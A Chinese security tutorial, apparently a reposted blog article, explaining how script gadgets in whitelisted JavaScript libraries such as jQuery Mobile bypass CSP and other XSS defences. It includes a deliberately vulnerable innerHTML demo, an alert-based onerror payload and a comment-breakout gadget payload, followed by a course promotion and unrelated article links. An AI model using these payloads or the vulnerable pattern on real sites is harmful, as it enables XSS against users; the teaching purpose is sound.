通过代码重用攻击绕过现代XSS防御

news2024/9/24 15:23:28

XSS已有近二十年的历史了,但它仍然是Web上最常见的漏洞之一。因此,已经发展了许多机制来减轻漏洞的影响。我经常会误以为这些机制可以作为针对XSS的保护。今天,我们将了解为什么情况并非如此。我们将在代码重用攻击领域探索一种相对较新的技术。Web的代码重用攻击于2017年首次描述,可用于绕过大多数现代浏览器保护,包括:HTML sanitizers,WAF和CSP。

 

介绍

让我们使用示例进行演示:

<?php 
/* File: index.php */
// CSP disabled for now, will enable later
// header("Content-Security-Policy: script-src 'self' 'unsafe-eval'; object-src 'none';");
?>
​
<!DOCTYPE html>
<html lang="en">
<body> 
  <div id="app">
  </div>
  <script src="http://127.0.0.1:8000/main.js"></script>
</body>
</html>
/** FILE: main.js **/
var ref=document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

该程序具有基于DOM的XSS漏洞。Main.js获取GET参数injectme的值,并将其作为原始HTML插入到DOM中。这是一个问题,因为用户可以控制参数的值。因此,用户可以随意操作DOM。下面的请求是一个poc,证明我们可以注入任意JavaScript。

http://127.0.0.1:8000/?injectme=<img src="n/a" onerror="alert('XSS')"/>

image元素将插入到DOM中,并且在加载期间会出错,从而触发onerror事件处理程序。这会弹出一个警告消息,提示“ XSS”,证明我们可以使该应用运行任意JavaScript。

现在,通过删除index.php中第5行的注释来启用内容安全策略。然后重新加载页面,您将看到攻击失败。如果在浏览器中打开开发者控制台,则会看到一条说明原因的消息。

凉!所以发生了什么事?IMG html元素已创建,浏览器看到了onerror事件属性,但由于CSP而拒绝执行JavaScript。

用一个不切实际的简单小工具绕过CSP

在我们的示例中,CSP限制–允许来自同一主机的JavaScript–阻止危险的功能,例如eval(不安全的eval)–阻止了所有其他脚本–阻止了所有对象(例如flash)

但是,如果我们能以某种方式触发CSP白名单中已经存在的JavaScript代码怎么办?如果是这样,我们也许可以执行任意JavaScript而不会违反该政策。让我们看一个小工具的简单示例,以了解基本概念。

假设main.js文件看起来像这样:

/** FILE: main.js **/
var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);
​
document.addEventListener("DOMContentLoaded", function() {         
    var expression = document.getElementById("expression").getAttribute("data");
    var parsed = eval(expression);
    document.getElementById("result").innerHTML = '<p>'+parsed+'</p>';
});

代码基本相同,但是这次我们的目标也有某种数学计算器。请注意,仅main.js被更改,index.php与以前相同。您可以将数学函数视为一些未真正使用的旧代码。

作为攻击者,我们可以滥用数学计算器代码来评估并执行JavaScript,而不会违反CSP。我们不需要注入JavaScript。我们只需要注入一个ID为“ expression”和一个名为“ data”的属性的HTML元素。内部数据将传递给eval。

我们试一试,是的!我们绕过了CSP!

转向现实的脚本小工具

如今的网站包含许多第三方资源,而且情况越来越糟。这些都是合法的列入白名单的资源,即使强制执行了CSP。数百万行的JavaScript中也许有有趣的小工具?嗯,是!Lekies等。(2017)分析了16个广泛使用的JavaScript库,发现几乎所有库中都有多个小工具。

小工具有几种类型,它们可以直接有用,或者需要与其他小工具链接才能有用。

字符串操作小工具:用于绕过基于模式的缓解措施很有用。元素构造小工具:

有助于绕过XSS缓解措施,例如创建脚本元素。函数创建小工具:可以创建新的函数对象,以后可以由第二个小工具执行。JavaScript执行接收器小工具:类似于我们刚才看到的示例,可以独立运行,也可以作为链中的最后一步

让我们看另一个例子。我们将使用相同的应用程序,但现在让我们包括jQuery mobile。

<?php 
/** FILE: index.php **/
header("Content-Security-Policy: script-src 'self' https://code.jquery.com:443 'unsafe-eval'; object-src 'none';");
?>
​
<!DOCTYPE html>
<html lang="en">
<body>
  <p id="app"></p>
  <script src="http://127.0.0.1:8000/main.js"></script>
  <script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
  <script src="https://code.jquery.com/mobile/1.2.1/jquery.mobile-1.2.1.min.js"></script>
</body>
</html>
/** FILE: main.js **/
var ref = document.location.href.split("?injectme=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

CSP进行了少许更改,以允许来自code.jquery.com的任何内容,幸运的是,jQuery Mobile有一个已知的脚本小工具可供我们使用。该小工具还可以严格动态地绕过CSP。

让我们首先考虑以下html

<div data-role=popup id='hello world'></div>

此HTML将触发jQuery Mobile的Popup Widget中的代码。可能不明显的是,当您创建弹出窗口时,库会将id属性写入HTML注释中。

jQuery中负责此工作的代码如下所示:

这是一个代码小工具,我们可以滥用它来运行JavaScript。我们只需要绕过注释,然后我们就可以做我们想做的任何事情。

我们最终的payload将如下所示:

<div data-role=popup id='--!><script>alert("XSS")</script>'></div>

执行,弹框!

最后的话

这是对Web上的代码重用攻击的介绍,我们已经看到了jQuery Mobile中的真实脚本小工具的示例。我们只看到过CSP绕过,但可以说,该技术也可以绕过HTML清理器,WAF和XSS过滤器(例如NoScript)。如果您对更深的潜水感兴趣,建议阅读Lekies等人的论文。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~  

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1706271.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

5.基于python的scRNA-seq细胞状态分析-细胞扰动

参考&#xff1a; [1] https://github.com/Starlitnightly/single_cell_tutorial [2] https://github.com/theislab/single-cell-best-practices 目录 背景识别受扰动影响最大的细胞类型预测细胞的扰动响应构建模拟数据集构建scGEN 背景 前面学习了不同处理条件下的基因差异表…

QGis3.34.5工具软件保存样式,软件无反应问题

在使用QGis软件保存SLD样式的时候&#xff0c;每次保存样式&#xff0c;软件都进入无反应状态&#xff0c;导致无法生成样式文件 百度中多次查询问题点&#xff0c;终未能在在3.34.5这个版本上解决问题。 考虑到可能是软件本身问题&#xff0c;于是删除了3.34.5这个版本&#x…

报修新选择:一款软件搞定所有维修问题

数字化、智能化时代发展迅速&#xff0c;各类便捷、智能化软件应用已经深入到我们生活和工作的方方面面。尤其是在企业或学校的设备管理中&#xff0c;报修维修工作一直是一个重要环节。传统的报修方式&#xff0c;如电话报修、填写纸质报修单等&#xff0c;已经无法满足现代高…

Pytorch索引、切片、连接

文章目录 1.torch.cat()2.torch.column_stack()3.torch.gather()4.torch.hstack()5.torch.vstack()6.torch.index_select()7.torch.masked_select()8.torch.reshape9.torch.stack()10.torch.where()11.torch.tile()12.torch.take() 1.torch.cat() torch.cat() 是 PyTorch 库中的…

联想凌拓 NetApp AFF C250 全闪存存储助力丰田合成打造数据新“引擎”

联想凌拓 NetApp AFF C250全闪存存储助力丰田合成打造数据新“引擎” 丰田合成&#xff08;张家港&#xff09;科技有限公司&#xff08;以下简称“丰田合成”&#xff09;于2003年12月成立&#xff0c;坐落在中国江苏省张家港市保税区中华路113号&#xff0c;是日本丰田合成株…

亚马逊自养号与机刷有何区别?

在亚马逊这一全球电商巨头中&#xff0c;买家评价的重要性如同指南针般引领着消费者的购买决策。在购买前&#xff0c;消费者们往往会驻足查看产品的评论&#xff0c;仔细比较不同产品的买家口碑&#xff0c;以确保自己的选择既明智又满意。因此&#xff0c;测评成为了各大电商…

空间转录组数据的意义

10X空间转录组Visium学习笔记&#xff08;三&#xff09;跑通Visium全流程记录 | 码农家园 (codenong.com) 这两个的区别是&#xff1a;一个是像素的位置信息&#xff0c;一个是阵列的位置信息

百度百科个人词条怎么这么难通过?

百度百科作为国内最具影响力的知识平台&#xff0c;个人词条的通过率却让很多人感到困惑。为什么我的个人词条总是难以通过&#xff1f;伯乐网络传媒给大家揭秘百度百科个人词条审核的难点&#xff0c;并提供相应的对策。 一、百度百科词条难以通过的原因分析 1. 内容不符合审…

小动物单通道麻醉机、多通道麻醉机

ZL-04A-5多通道小动物麻醉机采用英国进口的挥发罐体&#xff0c;国内组装而成&#xff0c;产品输出气体稳定。多通道小动物麻醉机无需氧气瓶&#xff0c;自带空气输出机&#xff0c;小动物麻醉机对氧气浓度有要求可以选配氧气输出机。 详情介绍&#xff1a; 产品特点&#xf…

巅峰对决:OpenAI与Google如何用大模型开创未来

2024年&#xff0c;人工智能领域正引领着一场波澜壮阔的全球技术革命。 5月14日&#xff0c;OpenAI揭开了其新一代多模态人工智能大模型GPT4系列的神秘面纱&#xff0c;其中GPT-4o不仅拥有流畅迷人的嗓音&#xff0c;还展现出幽默、机智和深刻的洞察力……紧接着&#xff0c;在…

【MySQL数据库】存储过程实战——图书借阅系统

图书借阅归还 借阅不用count判断&#xff0c;归还不用具体字段值判断 每次借阅或者归还只能操作1本 数据准备 -- 创建数据库 create database db_test3 CHARACTER SET utf8 COLLATE utf8_general_ci; -- 使用数据库 use db_test3; -- 创建图书信息表&#xff1a; create tabl…

C++容器之双端队列(std::deque)

目录 1 概述2 使用实例3 接口使用3.1 construct3.2 assigns3.3 iterators3.4 capacity3.5 rezize3.6 shrink_to_fit3.7 access3.8 assign3.9 push_back3.10 push_front3.11 pop_back3.12 pop_front3.13 insert3.14 erase3.15 swap3.16 clear3.17 emplace3.18 emplace_front3.19…

TCS工作原理

1、TCS的基本原理 TCS 的原理建立在驱动轮最优滑转率基础之上。理论研究证明&#xff0c;轮胎与路面之间的纵向附着特性决定汽车的加速和制动能力&#xff0c;轮胎滑动率与路面附着之间存在一定的关系&#xff0c;驱动轮的滑动率 λ \lambda λ 可以表示如下&#xff1a; λ…

SurfaceFinger layer创建过程

SurfaceFinger layer创建过程 引言 本篇博客重点分析app创建Surface时候&#xff0c;SurfaceFlinger是如何构建对应的Layer的主要工作有那些&#xff01; 这里参考的Android源码是Android 13 aosp&#xff01; app端创建Surface 其核心流程可以分为如下接部分: app使用w,h,fo…

使用nvm管理node多版本(安装、卸载nvm,配置环境变量,更换npm淘宝镜像)淘宝的镜像域名更换

最近 使用nvm 管理 node 的时候发现nvm install node版本号 总是失败。 nvm install 20.12.2Error retrieving "http://npm.taobao.org/mirrors/node/latest/SHASUMS256.txt": HTTP Status 404查看原因&#xff0c;因为淘宝的镜像域名更换&#xff0c;由于 npm.taob…

搜维尔科技:【系统集成案例】三面CAVE系统案例

用户名称&#xff1a;成都东软学院 主要产品&#xff1a;工业激光投影机、光学跟踪系统、主动立体眼镜、主动式立体眼镜发生器 在4米x9米的空间内&#xff0c;通过三通道立体成像&#xff0c;对立体模型进行数字化验证&#xff0c;辅助unity课程设计。 立体投影大屏方案采用的…

行波进位加法器和超前进位加法器比较

文章目录 1.行波进位加法器2.超前进位加法器 1.行波进位加法器 行波进位加法器就是将全加器串联起来&#xff0c;将低位的进位输出作为高位的进位输入。 由全加器公式可知&#xff1a; S A ⊕ B ⊕ C i n C o u t A B B C i n A C i n SA\oplus B\oplus C_{in}\\ C_{out}…

ssm教职工防疫打卡小程序-计算机毕业设计源码73760

摘 要 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;教职工防疫打卡小程序被用户普遍使用&#xff0c;为方便用…

QGIS:根据已知色带数组生成sld文件

1、将已知的色带数组转换为Excel文件&#xff08;Test.xlsx&#xff09; 格式如下&#xff1a; 2、Python生成QGIS colormap文件&#xff08;.txt&#xff09; import numpy as np import os import sys import pandas as pd#QGSI输入文件 #读取C中导出的Rainbow数组 fp_rain…

电商API接口||电商数据连接器:一键连接,效率加倍!

电商数据API接口&#xff1a; 一键连接&#xff0c;效率加倍&#xff01; 打造智能数据生态&#xff0c;让数据流动更加高效 在数字化时代&#xff0c;数据已成为企业发展的核心驱动力。电商API数据采集接口&#xff0c;助力电商企业实现数据的高效管理和应用。 电商数据API…